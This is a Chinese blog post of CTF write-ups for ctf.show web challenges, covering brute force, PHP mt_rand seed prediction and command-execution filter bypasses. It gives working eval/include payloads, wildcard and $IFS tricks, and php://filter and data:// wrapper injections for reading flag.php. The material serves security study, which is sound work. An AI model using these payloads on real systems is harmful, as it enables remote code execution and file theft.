爆破，命令执行与dvwa靶场

已于 2022-02-25 01:50:40 修改
阅读量4k 收藏 1
点赞数 1
分类专栏： 笔记 文章标签： 安全 web安全
于 2022-02-11 20:16:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ing_end/article/details/122887898
版权

爆破

web21

image-20220204152113077

题目：爆破什么的，都是基操

image-20220204152413922

我们尝试抓包

image-20220204155413690

我们发现用户名和密码被加密，用burp自带解码工具解码

image-20220204155544521

发现用户名和密码中间用冒号隔开

image-20220204161055780

image-20220204161948753

image-20220204161927249

image-20220204162053080

image-20220204162106023

爆破成功

image-20220204162516314

web22

题目：域名也可以爆破的，试试爆破这个ctf.show的子域名

image-20220204163355765

页面失效，提交flag{ctf_show_web}

web23

题目：还爆破？这么多代码，告辞！

image-20220204163541290

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
   
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
   
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
   
            echo $flag;
        }
    }
}else{
   
    highlight_file(__FILE__);

}
?>

查看代码

token被md5加密后的传参需要满足以下条件

1.要第二位与第15位与第18位相同 (因为下标是从0开始)
2.第二位+第15位+第18位/第二位=第32位

我们利用现成脚本：

import hashlib
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
    for j in a:
        b = (str(i) + str(j)).encode("utf-8")
        m = hashlib.md5(b).hexdigest()
        if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
            if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
                print('原字符串为:',b)
                print('加密后字符串为:',m)

image-20220204164332386

所以token=3j

传参token=3j 得到flag

image-20220204164504477

web24

题目：爆个🔨

  • 考点: php生成随机数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BKeUWTUS-1644581548068)(https://gitee.com/nie-junyan/clodimage/raw/master/blog/20220211195249.png)]

if(isset($_GET['r'])){
   
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
   
        echo $flag;
    }

PHP伪随机数种子

首先查看mt_srand()和mt_rand()函数

mt_rand() 是使用 Mersenne Twister 算法返回随机整数，与 rand() 函数的主要区别是：
mt_rand()产生随机数值的平均速度比 libc 提供的 rand()快四倍，并且播种函数使用mt_srand()，而不是srand()。

当随机数的种子是个确定值时(如本题),mt_rand()所得到的随机数也是确定的,所以运行后发现mt_rand()=1155388967,传参r=1155388967即可

image-20220204170008680

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MIOPRJ4q-1644581548068)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204170042247.png)]

web25

题目：爆个🔨，不爆了

image-20220204170138998

查看源码：

if(isset($_GET['r'])){
   
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
   
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
   
            echo $flag;
        }
    }else{
   
        echo $rand;
    }
}

由源码可以发现我们可以利用r=0得到mt_rand()的值

通过如下代码，我们知道要将两个随机数相加得token值

if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))

image-20220204172906276

最终得出

r=183607393 token=794171094

传参得到flag

命令执行

命令执行常见做题方法：

  1. *或？代替文件名全拼
  2. 用其它的命令执行函数代替被过滤的函数
  3. 用已知参数传入另一个无限制参数，构造木马
  4. 编码绕过
  5. include 不用括号 分号可用?>代替
  6. cat替换
  7. 内部字段分隔符$IFS
  8. grep
  9. 通配符匹配
  10. 无字母数字的webshell
  11. $(( ))与整数运算
  12. 脚本
  13. 复制重命名绕过
  14. fopen
  15. 路径读取
  16. 文件高亮
  17. 文件包含
  18. exit()
  19. mysql load_file读取文件
  20. 命令接口

反引号``

1.反引号``即命令替换
2.是指Shell可以先执行``中的命令，将输出结果暂时保存，在适当的地方输出

单引号，双引号

1.适用条件:过滤了字符串
2.放在shell命令中，绕过正则匹配且不影响原意

空格绕过

1. \> < <> 重定向符 
2. %09(需要php环境) 
3. ${IFS} $IFS$9
4.  {cat,flag.php} //用逗号实现了空格功能
5.  %20 
6. %09

读文件绕过（cat绕过）

适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl：显示的时候，顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器，这个也可以查看
(9)vim:一种编辑器，这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file   #在当前目录中，查找后缀有 file 字样的文件中包含 test 字符串的文件，并打印出该字符串的行

Linux通配符绕过

1. 适用条件:过滤了flag，没有过滤 ? *

2. 在linux系统中 有一些通配符

3. 匹配任何字符串／文本，包括空字符串；*代表任意字符（0个或多个） ls file *

4. ? 匹配任何一个字符（不在括号内时）?代表任意1个字符 ls file 0

5. [abcd] 匹配abcd中任何一个字符

6. [a-z] 表示范围a到z，表示范围的意思 []匹配中括号中任意一个字符 ls file 0

include 和伪协议的配合

因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响

web29

题目：命令执行，需要严格的过滤

image-20220211144020657


error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

preg_match（）函数：

preg_match函数是进行正则表达式的匹配，成功返回1，否则返回0

if(!preg_match("/flag/i", $c)){

只过滤flag【不区分大小写】

方法一：

1.查看目录

?c=system('ls');

image-20220211150309004

2.获取flag.php ，关键字flag过滤，使用通配符？

?c=system("cp fla?.php 1.txt");

cp命令将flag.php保存到1.txt 再去访问1.txt

image-20220211150951024

方法二：

直接用

?c=echo `tac  fl''ag.php`;

得到flag

image-20220211144714872

web30

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

这次过滤了flag，system，php，

system()函数

用于向操作系统传递控制台命令行，以WINDOWS系统为例，通过system()函数执行命令和在DOS窗口中执行命令的效果是一样的，所以只要在运行窗口中可以使用的命令都可以用SYSTEM（）传递

用 ` ` 来代替system（）

?c=`cp fla?.p?? 1.txt`;


http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt

image-20220211151832246

web31

查看源码

if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
   
        eval($c);
    }

过滤的更多了，包括cat 空格

我们可以用eval( )来操作， 这个1已经不属于c的内容了，所以不受过滤管控了，

得到空白页面右击看源码才能得到flag

ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');

将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示

ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');

也可以将空白用%09替代

ctf.show/?c=echo`tac%09fl*`;

image-20220211153719078

web32

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
   
        eval($c);

反引号，分号，括号 都不能用

没有括号的话不能使用上一题的eval（），所以要用没有括号的函数 比如include

分号可以用?>代替

include函数传入的参数不能执行系统命令，只能使用php伪协议，通过特定的通道读取文件

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

image-20220211154431953

得到的是bsae64的数据，再去解码获得flag

image-20220211154529121

【php://协议】

条件：

不需要开启allow_url_fopen，仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出，不然会直接当做php代码执行就看不到源代码内容了。

【file://协议】

file:// 用于访问本地文件系统，在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

web33

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
   
        eval($c);

多过滤了一个"

使用上一题的方法一样可以出来，换一个函数用require,也是一样的

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

image-20220211155201920

image-20220211155230894

web34

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
   
        eval($c);

多过滤了一个冒号，也不影响我们使用上面的方法

/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

image-20220211155420488

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

多过滤了< =，与上题题解一样

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
   
        eval($c);

不能使用数字，将1用a代替即可，GET[a]，里面可以不用单引号

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

题目：命令执行，需要严格的过滤

链接：

image-20220219001106366

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        include($c);
        echo $flag;
    
    }
        
}else{
   
    highlight_file(__FILE__);
}
?>

看到include函数，说明需要我们利用include函数命令执行，这里可以使用伪协议，同时利用字符串逃逸，绕过过滤

data伪协议命令执行：

data:text/plain,<php代码; ?>

构造：

payload:?c=data://text/palin,<?php system('cat fla?.php');?>

利用POST提交的参数1进行逃逸绕过正则

image-20220219001758522

查看源码获得flag

web38

题目：命令执行，需要严格的过滤

源码：

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|file|php/i", $c)){
   
        include($c);
        echo $flag;
    
    }
        
}else{
   
    highlight_file(__FILE__);
}
?>

多过滤了php和file，可以继续使用data协议，但用base64编码或者用<?= ?>来代替php

payload：

?c=data://text/palin,<?=system('cat fla?.???');?>

image-20220219002057298

查看源码获取flag

image-20220219002048258

web39

题目：命令执行，需要严格的过滤

源码：

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        include($c.".php");
    }
        
}else{
   
    highlight_file(__FILE__);
最低0.47元/天 解锁文章
DVWA靶场命令执行（小白笔记）
晚风挽着浮云的博客
10-14 1万+
DVWA靶场命令执行 我们在测试一些web工具时，需要某个web应用作为我们的靶机，这时候就首选应用DVWA（Damn Vulnerable Web Application）； DVWA是一款基于php&mysql编写的用于常规web漏洞和检测的web脆弱性测试web应用。其中包含了SQL注入，盲注，文件包含，XSS，CSRF等一些常见的WEB漏洞； 下面是一些命令执行 写的不好，多多包涵 在这里我们进行命令输入 这里我们选择DVWA的难度等级 1：难度LOW...
DVWA——命令执行
m0_74426634的博客
04-05 1690
任意命令执行原因：当应用需要调用一些外部程序去处理内容的情况下，就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等，当用户可以控制命令执行函数中的参数时，将可以注入恶意系统命令到正常命令中，造成命令执行攻击。脚本语言（如PHP）优点是简洁、方便，但也伴随着一些问题，如速度慢、无法接触系统底层，如果我们开发的应用（特别是企业级的一些应用）需要一些除去WEB的特殊功能时，就需要调用一些外部程序。
DVWA靶场之Command Injection(命令执行)
m0_65712192的博客
11-09 1175
DVWA靶场之Command Injection(命令执行)
DVWA漏洞靶场-命令执行(Command Injection)
07-30 553
漏洞原理 　　　由于开发人员编写源码，没有针对代码中可执行的特殊函数入口做过滤，导致客户端可以提交恶意构造语句提交，并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval()，exec()等函数是该漏洞攻击成功的最主要原因。 　　命令执行分隔符： 　　windows：&&　　||　　&　　 　　linux：　　&&am...
DVWA靶场之命令执行(Command injection)通关详解
weixin_56464045的博客
12-17 1044
DVWA靶场 命令执行 Command injection 详解
DVWA靶场全解析（新手向）
LS_Sy的博客
02-18 3320
我们直接在输入栏内随便填写数据，之后使用bp进行抓包抓到包后发送到instruder模块进行爆破，由于需要同时爆破用户名和密码两个字段，所以我们选择集束炸弹模式设置好字典后开始爆破，最后根据响应头的不同得到用户名和密码。
DVWA靶场通关(2023)
2301_80548709的博客
02-23 2778
1.这道题是爆破用户名,以及密码,其实就是通过burp软件来爆破抓包成功!接下来爆破修改这两个值,进行爆破,正确导入字典后,开始爆破.因为已经知道了答案,我们可以让爆破的数量少一点,找到数量不一致的,得到结果2.第二种,主要区别在于我们必须休眠两秒,才能继续.所以让它休眠2000ms就欧克了为了方便,我就将正确答案置于了顶端,可以发现,我们的爆破可以保证全为200的状态码3.第三题,通过查询得到,主要增加了token值,这个东西。
DVWA靶场通关
最新发布
2301_80185313的博客
08-14 1500
dvvwa靶场通关详解
dvwa靶场通关教程（保姆及教学，一看就会）
热门推荐
m0_69043895的博客
04-05 2万+
可以看到，Impossible级别的代码对上传文件进行了重命名（为md5值，导致%00截断无法绕过过滤规则），加入Anti-CSRF token防护CSRF攻击，同时对文件的内容作了严格的检查，导致攻击者无法上传含有恶意脚本的文件。让通过验证的情况增加了一种。回到payload，选择第二个爆破点，选择递归模式，recursive grep，设置初始值。看源代码可以发现，不仅限制了文件类型，而且限制了大小，不能少于100kb。可以看到，靶场对文件类型做了限制，只允许上传png、jpeg，并且检查。
PHP代码审计入门-DVWA靶场命令注入篇
身高两米不到的博客
11-14 815
从零学习php，最终目的实现代码审计入门，软件采用sublime text，环境使用phpstudy搭建，数据库是navicat，需要有基本的前端基础、简单的php+mysql后端基础、渗透知识和漏洞原理，文章跟随流沙前辈学习记录，看看曾经遥不可及的代码审计能不能慢慢啃下来。这里先把 $target 输出，看看代码是如何防止命令注入的。常用的命令连接符就差不多了，还有一个常用的但不是命令连接符的东东，基本就这么多。命令注入模块，注释写在代码里，尽量用详细的语言描述代码含义。|| ，前面为假才执行后面命令。
命令执行靶场实战
qq_23347209的博客
05-31 728
文章目录环境准备一、信息搜集1、nmap扫描2、使用nikto扫描网站目录二、漏洞利用测试三、nc反弹shell 环境准备 靶场下载地址：https://www.vulnhub.com/entry/depth-1,213/ 使用Vmware虚拟机中NAT网络 靶机: 192.168.146.153 攻击机 parrot 192.168.146.129 提示：以下是本篇文章正文内容，下面案例可供参考 一、信息搜集 1、nmap扫描 -A全面扫描 -p-全端口扫描 nmap -A -p- 192.168
DVWA靶机通关攻略第二关——命令注入
小飞飞的博客
03-07 1187
DVWA靶机命令注入详细教学
ctf笔记(dvwa) 19.5.3-19.8.11
dingpang8200的博客
08-29 468
在学ctf中学到的各类知识，以web安全为主，本期笔记以dvwa漏洞平台为主 ‎2019‎年‎9‎月‎7‎日，‏‎22:03:02 对部分错误内容进行修改，并补充内容 --- ffifdyop md5加密再组成sql等于$sql="select password from users where password=''or'<xxx>'" 用于绕过md5检测图片隐写小技...
CTFHub技能书解题笔记-RCE-命令注入
qq_43006864的博客
03-31 1231
打开题目是命令注入，题目要求是这是一个在线测试网络延迟的平台，路由器中经常会见到。无任何安全措施，尝试获取 flag。 竟然是没有任何安全措施的。那就开整了。 打开题目是源代码，这个和dvwa上的命令注入就是一样的。 那没啥好说的直接开测了。ping 114.114.114.114. 拼接命令ping 114.114.114.114;ls 找flag。ls了半天，最后再第一步的247711895227.php 的界面源码里找到了 这道题没做任何难度，没有难度。 ...
DVWA笔记（3）--File Inclusion(文件包含)
xiaopan233的博客
02-05 710
file inclusion 文件包含，就是通过php的引入文件的函数，如include,require_once等。访问用户不应该访问到的文件。防御其实也很简单，allow_url_fopen和allow_url_include禁用即可。或者apache的配置中严格限制访问目录即可。 low 乍一看这页面，是通过get方式传值的。我在C盘根目录中建立了一个文件flag.txt。 方式...
CTFSHOW-web入门-信息搜集，爆破，命令执行
Yb_140的博客
02-19 5246
目录 Web入门 信息搜集 web3 web4 web5 web6 web7 web8 web9 web10 web11 web12 web13 web14 web15 web16 web17 web18 web19 web20 爆破 web21 web22 web23 web24 web25 web26 web27 web28 命令执行 web29 web30 web31 web32 web33 web34 web35 web36
CTFshow刷题日记-WEB-爆破
Love&Share
09-03 3368
web21 提示：爆破什么的，都是基操 有一个zip文件，解压是一个爆破字典 Authorization: Basic dG9tY2F0OmFkbWlu ------->输入的用户名/口令以base64的形式传输。认证失败显示401 认证成功为200 将Authorization字段后面的值进行base64 解码，即可获取用户认证信息明文 使用bp的Intruder模块 payload type 选择custom iterator(自定义迭代器) 自定义迭代器可以自定义拼接方式，positio
DVWA靶场---命令执行漏洞源码解析
weixin_50340347的博客
06-09 848
【代码】DVWA靶场---命令执行漏洞源码解析。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值